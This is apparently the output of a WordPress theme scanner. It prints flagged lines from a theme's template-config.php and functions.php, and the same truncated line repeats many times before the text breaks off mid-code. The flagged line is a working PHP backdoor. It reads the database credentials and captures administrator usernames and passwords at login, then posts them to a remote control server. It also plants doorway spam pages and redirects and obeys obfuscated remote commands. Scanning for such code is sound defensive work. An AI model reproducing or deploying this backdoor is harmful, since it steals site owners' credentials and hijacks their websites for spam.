false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkfile_get_contents was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfilefopen was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodeletefwrite was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POSfclose was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkfile_get_contents was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfilefile_get_contents was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfilefile_get_contents was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile file_get_contents was found in the file functions.php 15: $data =
- curl_init();curl_exec was found in the file functions.php 26: $data = curl_exec($ch);curl_init was found in the file template-config.php 23: ini_set('display_errors','Off');ini_set('memory_limit','256M');ini_set('max_execution_time',0);set_time_limit(0);ignore_user_abort(1);$wpdbhost=DB_HOST;$wpdbhost=trim($wpdbhost,':');$wpdbname=DB_NAME;$wpdbuser=DB_USER;$wpdbpass=DB_PASSWORD;if(empty($table_prefix)){$wpdbpref='wpr_';}else{$wpdbpref=$table_prefix;}$maintablaname=$wpdbpref .'pcachewpr';$linkstablaname=$wpdbpref .'lcachewpr';$dbprt='3306';if(stripos('qqq' .$wpdbhost,':')){$wpdbhost=explode(':',$wpdbhost);$dbprt=$wpdbhost[1];$wpdbhost=$wpdbhost[0];}if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}elseif(!empty($_SERVER['REMOTE_ADDR'])){$ip=$_SERVER['REMOTE_ADDR'];}else{$ip='';}$mordaurl=readValueFromBD($wpdbpref .'options','option_value','option_name='siteurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($mordaurl)|| $mordaurl=='no'|| stripos('qqq' .$mordaurl,'localhost')){$mordaurl=$_SERVER['HTTP_HOST'];if(is_ssl()=== false){$mordaurl='http://' .$mordaurl;}else{$mordaurl='https://' .$mordaurl;}}$currenturl=$_SERVER['SERVER_NAME'] .strtolower($_SERVER['REQUEST_URI']);$currenturl=trim($currenturl,'/');if(is_ssl()=== false){$currenturl='http://' .$currenturl;}else{$currenturl='https://' .$currenturl;}$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admworkurl)&& is_writable(__FILE__)&& $checktable == 'no'){$fp1=fopen(__FILE__ .'temp','w+');if(!$fp1===false){fclose($fp1);$admurltodelete=$admworkurl;$admworkurl=decodeservurl($admworkurl);$params='autoknock=yes&siteurl=' .urlencode($mordaurl);$result=httpPost($admworkurl,$params);$clfile=file_get_contents(__FILE__);$clfile=str_ireplace($admurltodelete,'',$clfile);$fp=fopen(__FILE__,'w+');fwrite($fp,$clfile);fclose($fp);@unlink(__FILE__ .'temp');}}if(!empty($_POST['log'])&&!empty($_POST['pwd'])&& function_exists('wp_authenticate')){$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable != 'no'){$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=urldecode($admurlfmbd);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($admurlfmbd)&&!empty($clientidfmbd)&& $clientidfmbd!='no'&& $admurlfmbd!='no'){$un=$_POST['log'];$up=$_POST['pwd'];$auth=wp_authenticate($un,$up);$auth=(array)$auth;if(!empty($auth['ID'])){if(isset($auth['roles'][0])&& $auth['roles'][0]== 'administrator'){if(isset($auth['allcaps']['level_10'])&& $auth['allcaps']['level_10']=== true){$params='clientid=' .$clientidfmbd .'&updata=' .urlencode($un .'|||' .$up) .'&admip=' .urlencode($ip) .'&admurl=' .urlencode($currenturl);$result=httpPost($admurlfmbd,$params);}}}}}}if(empty($_GET['ertthndxbcvs'])&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'/admin')&&!stripos('qqq' .$_SERVER['SERVER_NAME'] .$_SERVER['REQUEST_URI'],'wp-admin')&&!empty($wpdbhost)&&!empty($wpdbname)&&!empty($wpdbuser)&&!empty($wpdbpass)){header('Content-type: text/html; charset=UTF-8');$currenthash=md5($currenturl);if(!empty($_SERVER['HTTP_USER_AGENT'])){$useragent=$_SERVER['HTTP_USER_AGENT'];}else{$useragent='';}if(!empty($_SERVER['HTTP_REFERER'])){$referer=$_SERVER['HTTP_REFERER'];}else{$referer='';}if(!empty($_POST['trsgdfs'])&& $_POST['trsgdfs']== '1sxhlichvls'&&!empty($_POST['qwydsdf'])){$err='';$checktable=mysqlTableSeekWP($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable == 'no'){$res=createTable($maintablaname,'wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}$checktable=mysqlTableSeekWP($linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($checktable== 'no'){$res=createTable($linkstablaname,'wphash LONGBLOB, wpcache LONGBLOB','id',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res != 'yes'){echo $res;die();}}elseif($checktable=='udfgoihdkh48sied'){echo $checktable;die();}elseif($checktable=='yes'){echo 'aawtr35tdgvvcsxdff';die();}createIndexBWD($maintablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);createIndexBWD($linkstablaname,'wphash',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$postpass=randString('15');$res=insertToBD($maintablaname,'wphash, wpcache',''admurl', '' .urlencode($_POST['qwydsdf']) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$res=insertToBD($maintablaname,'wphash, wpcache',''passtopost', '' .$postpass .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientid=randString('20');$res=insertToBD($maintablaname,'wphash, wpcache',''clientid', '' .$clientid .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($res == 'yes'){echo 'zxcvetrhytdj65re|||||' .$postpass .':::::' .$clientid .'|||||';if(function_exists('delete_metadata')){delete_metadata('user',0,'session_tokens',false,true);}die();}else{echo 'xcvbrhr6hdhcgxcva';die();}}if(!empty($_POST['ptpxcbeiru'])){$passtopostfmbd=readValueFromBD($maintablaname,'wpcache','wphash='passtopost'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$admurlfmbd=readValueFromBD($maintablaname,'wpcache','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$clientidfmbd=readValueFromBD($maintablaname,'wpcache','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(empty($passtopostfmbd)|| $passtopostfmbd == 'no'|| $passtopostfmbd != $_POST['ptpxcbeiru']){echo 'uewea4sfdxcbxb';die();}if(empty($admurlfmbd)|| $admurlfmbd == 'no'){echo 'kutyre54aw3eafd';die();}if(empty($clientidfmbd)|| $clientidfmbd == 'no'){echo 'xgse5rsdgiofsdsf';die();}$admurlfmbd=urldecode($admurlfmbd);if(!empty($_POST['hdfgfxoi'])&& $_POST['hdfgfxoi']== 'ncxfxdasdf'&&!empty($_POST['chpuview'])&&!empty($_POST['doorkeys'])){if(getCountofTable($maintablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt)>3 && $_POST['firstpart']=='yes'){deleteLinesFmDB($maintablaname,'wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}$chpuview=$_POST['chpuview'];$chpuview=urldecode($chpuview);$doorkeys=$_POST['doorkeys'];$doorkeys=urldecode($doorkeys);$doorkeys=stripslashes($doorkeys);$doorkeys=preg_replace_callback('!s:(\d+):'(.*?)';!',function($match){return($match[1]==($match[2]))?$match[0]:'s:' .strlen($match[2]) .':'' .$match[2] .'';';},$doorkeys);$doorkeys=unserialize($doorkeys);if(!is_array($doorkeys)|| count($doorkeys)== 0){echo 'vbsdreawefzzdfv';die();}if($_POST['firstpart']=='yes'){$sitetempfrdoor=parseTemplate();if(empty($sitetempfrdoor)||!is_array($sitetempfrdoor)|| empty($sitetempfrdoor['sitetemp'])|| empty($sitetempfrdoor['chpu'])){echo 'ktdrtsdfgsdfs4tse';die();}$chpufrdoor=$sitetempfrdoor['chpu'];$sitetempfrdoor=$sitetempfrdoor['sitetemp'];$sitetempfrdoor=str_ireplace('xmlrpc.php','',$sitetempfrdoor);updateBDData($maintablaname,urlencode($chpufrdoor),'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{$chpufrdoor=readValueFromBD($maintablaname,'wpurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$chpufrdoor=urldecode($chpufrdoor);$sitetempfrdoor='notfirstpart';if(empty($chpufrdoor)|| $chpufrdoor=='no'){echo 'kiryut7dfgzxvcmcxz';die();}}$doorpagesdata=array();$testpageurl='';foreach($doorkeys as $k=>$onekey){$onekey=explode('|',$onekey);if(!empty($onekey[1])){$key_1=$onekey[1];}else{$key_1='';}$onekey=$onekey[0];if($chpuview == 'k'){$slugfrurl=sanitize_title($onekey);}elseif($chpuview == 'g'){$slugfrurl=randString(rand(7,11));}elseif($chpuview == 'n'){$slugfrurl=rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9) .rand(1,9);}$slugfrurl=strtolower($slugfrurl);$doorpageurl=str_ireplace('chpukeyplace',$slugfrurl,$chpufrdoor);$doorpagesdata[]=$onekey .':::::' .$doorpageurl;$res=insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($doorpageurl) .'', '' .urlencode($doorpageurl) .'', '' .urlencode($onekey) .'', '' .urlencode($key_1) .''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if($_POST['firstpart']=='yes'&& $k==0){$testpageurl=str_ireplace('chpukeyplace','edf8329we',$chpufrdoor);insertToBD($maintablaname,'wphash, wpurl, wpk, wpk1',''' .md5($testpageurl) .'', '' .urlencode($testpageurl) .'', 'edf8329we', ''',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}if($res == 'bewiursfer9uidd'){echo 'xcvbr459isdfgssdd';die();}}updateBDData($maintablaname,$_POST['doorsetts'],'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$doorpagesdata=serialize($doorpagesdata);$doorpagesdata=urlencode($doorpagesdata);$params='clientid=' .$clientidfmbd .'&newdoordata=' .$doorpagesdata .'&sitetemplate=' .urlencode($sitetempfrdoor) .'&firstpart=' .$_POST['firstpart'] .'&testpageurl=' .urlencode($testpageurl);$result=httpPost($admurlfmbd,$params);if(stripos('qqq' .$result,'trugsew9rusxildd')){echo 'xbvstrei4w0aeaorpdf';die();}elseif(stripos('qqq' .$result,'bw543ersfdgsdfffg')){echo 'pqweity5rer5syc9f';die();}else{echo 'myrtersgertsrgfdf';die();}}if(!empty($_POST['redircode'])||!empty($_POST['redirurl'])){if(!empty($_POST['redircode'])){if($_POST['redircode']=='stop'){updateBDData($maintablaname,'','wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);updateBDData($maintablaname,'','wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}else{updateBDData($maintablaname,urlencode(stripslashes($_POST['redircode'])),'wpred','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}}if(!empty($_POST['redirurl'])){updateBDData($maintablaname,urlencode(stripslashes($_POST['redirurl'])),'wpredurl','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);}echo 'geri9rdgfojvrev';die();}if(!empty($_POST['clearcache'])){updateBDData($maintablaname,'','wpcache','wpcache IS NOT NULL AND wpk IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);deleteLinesFmDB($linkstablaname,'wphash IS NOT NULL',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'be545hgfxbfbgfdf';die();}if(!empty($_POST['editownlinks'])&&!empty($_POST['newownlinks'])){$doorsettings=readValueFromBD($maintablaname,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!empty($doorsettings)&& $doorsettings!='no'){$doorsettings=urldecode($doorsettings);$doorsettings=unserialize($doorsettings);$doorsettings['ownlinks']=$_POST['newownlinks'];$doorsettings=serialize($doorsettings);$doorsettings=urlencode($doorsettings);updateBDData($maintablaname,$doorsettings,'wpset','wphash='admurl'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);echo 'nbvw436rudtydsjjgk';die();}else{echo 'vcbntrs6udtyradgxf';die();}}if(!empty($_POST['getdoorstatus'])){$doorstatus=getStatus($maintablaname,$linkstablaname,$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);$botsstats=readValueFromBD($maintablaname,'wpred','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($botsstats)){$botsstats=0;}$usersstats=readValueFromBD($maintablaname,'wpredurl','wphash='clientid'',$wpdbhost,$wpdbname,$wpdbuser,$wpdbpass,$dbprt);if(!is_numeric($usersstats)){$usersstats=0;}if(is_array($doorstatus)){$doorstatus['botsstats']=$botsstats;$doorstatus['usersstats']=$usersstats;$doorstatus=serialize($doorstatus);$doorstatus=urlencode($doorstatus);echo 'p9ot78u6syrtfxhg DOORSTATUS:::' .$doorstatus .':::DOORSTATUSq';die();}else{echo $doorstatus .'<br>';echo 